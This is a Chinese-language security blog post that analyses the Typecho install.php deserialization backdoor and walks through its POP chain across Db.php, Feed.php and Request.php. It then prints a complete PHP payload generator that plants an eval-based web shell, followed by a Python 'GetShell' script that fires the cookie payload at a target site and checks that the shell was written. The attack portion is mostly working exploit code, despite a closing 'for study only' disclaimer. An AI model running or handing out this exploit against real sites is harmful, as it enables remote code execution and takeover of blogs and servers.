有一天凌晨听其他师傅说typecho留了后门,因为吃鸡太晚了就没看。
后面想分析的时候,后发现原文章没了,搜索引擎的缓存都是乱的。。。。
找了好久也没有找到,于是问了下其他看过的师傅漏洞位置,根据杂乱的缓存,就自己操刀子了
问题源头在install.php
install.php在安装后是不会删除的,这里就是恶意代码的输入点
恶意代码的大致操作顺序:
- base64解码后反序列化cookie中传入的__typecho_config参数,
- 然后让__typecho_config作为构造参数例化一个Typecho_Db类,
- 接着通过POP链进行代码执行。
涉及到的文件还有类名
install.php(unserialize) – > Db.php(class Typecho_Db) – > Feed.php (class Typecho_Feed) – > Request.php (class Typecho_Request)
install.php
进入这段代码的条件:
- 设置了正确的referer(网站url即可)
- 加上一个任意的finish参数
- 设置cookie中__typecho_config字段的值
cookie中的__typecho_config得到序列化后的$config数组字符串,
反序列化后,再使用$config[‘adapter’]作为构造参数传入Typecho_Db的实例化过程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php if (isset($_GET[‘finish’])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . ‘/config.inc.php’)) : ?>
<h1 class=“typecho-install-title”><?php _e(‘安装失败!’); ?></h1>
<div class=“typecho-install-body”>
<form method=“post” action=“?config” name=“config”>
<p class=“message error”><?php _e(‘您没有上传 config.inc.php 文件,请您重新安装!’); ?> <button class=“btn primary” type=“submit”><?php _e(‘重新安装 »’); ?></button></p>
</form>
</div>
<?php elseif (!Typecho_Cookie::get(‘__typecho_config’)): ?>
<h1 class=“typecho-install-title”><?php _e(‘没有安装!’); ?></h1>
<div class=“typecho-install-body”>
<form method=“post” action=“?config” name=“config”>
<p class=“message error”><?php _e(‘您没有执行安装步骤,请您重新安装!’); ?> <button class=“btn primary” type=“submit”><?php _e(‘重新安装 »’); ?></button></p>
</form>
</div>
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get(‘__typecho_config’)));
Typecho_Cookie::delete(‘__typecho_config’);
$db = new Typecho_Db($config[‘adapter’], $config[‘prefix’]);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
|
Db.php
$config[‘adapter’]在构造函数里面对应形参$adapterName,
$adapterName是Typecho_Feed类的实例,使用.字符连接就调用__toString魔术方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
public function __construct($adapterName, $prefix = ‘typecho_’)
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;
if (!call_user_func(array($adapterName, ‘isAvailable’))) {
throw new Typecho_Db_Exception(“Adapter {$adapterName} is not available”);
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
|
Feed.php
$this->_type用来控制if语句的流程,
给$this->_type 赋值 ATOM 1.0时,
即可进入包含$item[‘author’]->screenName的分支,
$item[‘author’]这个变量是一个Typecho_Request的实例,
我们可以设置这个Typecho_Request实例的属性screenName是一个私有属性,
当访问$item[‘author’]->screenName就会调用__get方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
|
<?php
public function __toString()
{
$result = ‘<?xml version=”1.0″ encoding=”‘ . $this->_charset . ‘”?>‘ . self::EOL;
if (self::RSS1 == $this->_type) {
$result .= ‘<rdf:RDF
xmlns:rdf=“http://www.w3.org/1999/02/22-rdf-syntax-ns#”
xmlns=“http://purl.org/rss/1.0/”
xmlns:dc=“http://purl.org/dc/elements/1.1/”>‘ . self::EOL;
$content = ‘‘;
$links = array();
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= ‘<item rdf:about=“‘ . $item[‘link’] . ‘”>‘ . self::EOL;
$content .= ‘<title>‘ . htmlspecialchars($item[‘title‘]) . ‘</title>‘ . self::EOL;
$content .= ‘<link>‘ . $item[‘link‘] . ‘</link>‘ . self::EOL;
$content .= ‘<dc:date>‘ . $this->dateFormat($item[‘date‘]) . ‘</dc:date>‘ . self::EOL;
$content .= ‘<description>‘ . strip_tags($item[‘content‘]) . ‘</description>‘ . self::EOL;
if (!empty($item[‘suffix‘])) {
$content .= $item[‘suffix‘];
}
$content .= ‘</item>‘ . self::EOL;
$links[] = $item[‘link‘];
if ($item[‘date‘] > $lastUpdate) {
$lastUpdate = $item[‘date‘];
}
}
$result .= ‘<channel rdf:about=“‘ . $this->_feedUrl . ‘”>
<title>‘ . htmlspecialchars($this->_title) . ‘</title>
<link>‘ . $this->_baseUrl . ‘</link>
<description>‘ . htmlspecialchars($this->_subTitle) . ‘</description>
<items>
<rdf:Seq>‘ . self::EOL;
foreach ($links as $link) {
$result .= ‘<rdf:li resource=“‘ . $link . ‘”/>‘ . self::EOL;
}
$result .= ‘</rdf:Seq>
</items>
</channel>‘ . self::EOL;
$result .= $content . ‘</rdf:RDF>‘;
} else if (self::RSS2 == $this->_type) {
$result .= ‘<rss version=“2.0”
xmlns:content=“http://purl.org/rss/1.0/modules/content/”
xmlns:dc=“http://purl.org/dc/elements/1.1/”
xmlns:slash=“http://purl.org/rss/1.0/modules/slash/”
xmlns:atom=“http://www.w3.org/2005/Atom”
xmlns:wfw=“http://wellformedweb.org/CommentAPI/”>
<channel>‘ . self::EOL;
$content = ‘‘;
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= ‘<item>‘ . self::EOL;
$content .= ‘<title>‘ . htmlspecialchars($item[‘title‘]) . ‘</title>‘ . self::EOL;
$content .= ‘<link>‘ . $item[‘link‘] . ‘</link>‘ . self::EOL;
$content .= ‘<guid>‘ . $item[‘link‘] . ‘</guid>‘ . self::EOL;
$content .= ‘<pubDate>‘ . $this->dateFormat($item[‘date‘]) . ‘</pubDate>‘ . self::EOL;
$content .= ‘<dc:creator>‘ . htmlspecialchars($item[‘author‘]->screenName) . ‘</dc:creator>‘ . self::EOL;
if (!empty($item[‘category‘]) && is_array($item[‘category‘])) {
foreach ($item[‘category‘] as $category) {
$content .= ‘<category><![CDATA[‘ . $category[‘name‘] . ‘]]></category>‘ . self::EOL;
}
}
if (!empty($item[‘excerpt‘])) {
$content .= ‘<description><![CDATA[‘ . strip_tags($item[‘excerpt‘]) . ‘]]></description>‘ . self::EOL;
}
if (!empty($item[‘content‘])) {
$content .= ‘<content:encoded xml:lang=“‘ . $this->_lang . ‘”><![CDATA[‘
. self::EOL .
$item[‘content‘] . self::EOL .
‘]]></content:encoded>‘ . self::EOL;
}
if (isset($item[‘comments‘]) && strlen($item[‘comments‘]) > 0) {
$content .= ‘<slash:comments>‘ . $item[‘comments‘] . ‘</slash:comments>‘ . self::EOL;
}
$content .= ‘<comments>‘ . $item[‘link‘] . ‘#comments</comments>’ . self::EOL;
if (!empty($item[‘commentsFeedUrl’])) {
$content .= ‘<wfw:commentRss>’ . $item[‘commentsFeedUrl’] . ‘</wfw:commentRss>’ . self::EOL;
}
if (!empty($item[‘suffix’])) {
$content .= $item[‘suffix’];
}
$content .= ‘</item>’ . self::EOL;
if ($item[‘date’] > $lastUpdate) {
$lastUpdate = $item[‘date’];
}
}
$result .= ‘<title>’ . htmlspecialchars($this->_title) . ‘</title>
<link>’ . $this->_baseUrl . ‘</link>
<atom:link href=”‘ . $this->_feedUrl . ‘” rel=”self” type=”application/rss+xml” />
<language>’ . $this->_lang . ‘</language>
<description>’ . htmlspecialchars($this->_subTitle) . ‘</description>
<lastBuildDate>’ . $this->dateFormat($lastUpdate) . ‘</lastBuildDate>
<pubDate>’ . $this->dateFormat($lastUpdate) . ‘</pubDate>’ . self::EOL;
$result .= $content . ‘</channel>
</rss>’;
} else if (self::ATOM1 == $this->_type) {
$result .= ‘<feed xmlns=”http://www.w3.org/2005/Atom”
xmlns:thr=”http://purl.org/syndication/thread/1.0″
xml:lang=”‘ . $this->_lang . ‘”
xml:base=”‘ . $this->_baseUrl . ‘”
>’ . self::EOL;
$content = ”;
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= ‘<entry>’ . self::EOL;
$content .= ‘<title type=”html”><![CDATA[‘ . $item[‘title’] . ‘]]></title>’ . self::EOL;
$content .= ‘<link rel=”alternate” type=”text/html” href=”‘ . $item[‘link’] . ‘” />’ . self::EOL;
$content .= ‘<id>’ . $item[‘link’] . ‘</id>’ . self::EOL;
$content .= ‘<updated>’ . $this->dateFormat($item[‘date’]) . ‘</updated>’ . self::EOL;
$content .= ‘<published>’ . $this->dateFormat($item[‘date’]) . ‘</published>’ . self::EOL;
$content .= ‘<author>
<name>’ . $item[‘author’]->screenName . ‘</name>
<uri>’ . $item[‘author’]->url . ‘</uri>
</author>’ . self::EOL;
|
Request.php
Typecho_Request实例调用__get魔术方法,进入get方法,最后进入_applyFilter方法
1
2
3
4
5
|
<?php
public function __get($key)
{
return $this->get($key);
}
|
$key的值是screenNamem,
因此$this->_params需要是个键为screenNamem的数组,键值为想执行的代码,
最终$value传进call_user_func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
|
进入_applyFilter后,可以看见 call_user_func,
这时需要设置$this->_filter为arrsert,作为call_user_func的第一个参数,
$value我们也可控,已经可以执行任意代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
|
EXP
主要用于生成__typecho_config 的Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
/**
* Created by PhpStorm.
* User: RaI4over
* Date: 2017/10/19
* Time: 15:17
* 生成 _typecho_config 的值
*/
class Typecho_Feed
{
const RSS2 = ‘RSS 2.0’;
private $_type;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($version, $type = self::RSS2, $charset = ‘UTF-8’, $lang = ‘en’)
{
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}
public function addItem(array $item)
{
$this->_items[] = $item;
}
}
class Typecho_Request
{
private $_params = array(‘screenName’=>‘fputs(fopen(‘./usr/themes/default/img/c.php‘,‘w‘),‘<?php @eval($_POST[a]);?>‘)‘);
private $_filter = array(‘assert‘);
//private $_filter = array(‘assert‘, array(‘Typecho_Response‘, ‘redirect‘));
}
$payload1 = new Typecho_Feed(5, ‘ATOM 1.0‘);
$payload2 = new Typecho_Request();
$payload1->addItem(array(‘author‘ => $payload2));
$exp[‘adapter‘] = $payload1;
$exp[‘prefix‘] = ‘Rai4over‘;
echo base64_encode(serialize($exp));
|
编写payload的简单思路:
最外层$exp是数组,数组中的’adapter’是Typecho_Feed的实例$payload1,
$payload1的构造参数是’ATOM 1.0’用于控制分支,
$payload2是Typecho_Request的实例,
private $_filter ,private $_params是传给call_user_func的参数,也就是通过assert写shell
然后$payload2通过additem添加到$payload的$_items的变量中
最后把$payload1添加到最外层的$exp数组中
ps:因为install.php中有ob_start();所以构造好是没有回显的,但是也能写shell
后面其他师傅说可以用Typecho_Response类中的redirect方法中的exit()得到回显
GetShell小工具
记得把php添加进环境变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
import requests
import os
if __name__ == ‘__main__’:
print ”‘ ____ ____ _ _ _
| __ ) _ _ | _ __ _(_) || | _____ _____ _ __
| _ | | | | | |_) / _` | | || |_ / _ / / _ ‘__|
| |_) | |_| | | _ < (_| | |__ _| (_) V / __/ |
|____/ __, | |_| ___,_|_| |_| ___/ _/ ___|_|
|___/
”‘
targert_url = ‘http://www.xxxxxxxx.xyz’;
rsp = requests.get(targert_url + “/install.php”);
if rsp.status_code != 200:
exit(‘The attack failed and the problem file does not exist !!!’)
else:
print ‘You are lucky, the problem file exists, immediately attack !!!’
proxies = {“http”: “http://127.0.0.1:8080”, “https”: “http://127.0.0.1:8080”, }
typecho_config = os.popen(‘php exp.php’).read()
headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0’,
‘Cookie’: ‘antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};’.format(typecho_config=typecho_config),
‘Referer’: targert_url}
url = targert_url + “/install.php?finish=1”
requests.get(url,headers=headers,allow_redirects=False)
shell_url = targert_url + ‘/usr/themes/default/img/c.php’
if requests.get(shell_url).status_code == 200:
print ‘shell_url: ‘ + shell_url
else:
print “Getshell Fail!”
|
PS:感谢和我一起讨论的师傅,代码仅用于学习研究,请勿用于非法用途恶意攻击,否则后果作者概不负责。
相关推荐: 【转】redis 在渗透中 getshell 方法总结
0x00 前言 今天同学突然提到了redis,想到最近搞站确实有一段时间没有遇到redis getshell的场景了(主要是最近懒,搞得少),有些利用方式都忘的差不多,这里再对常见的redis getshell方式总结并复现一遍,避免遗忘。如果有同学恰好看到了…
请登录后发表评论
注册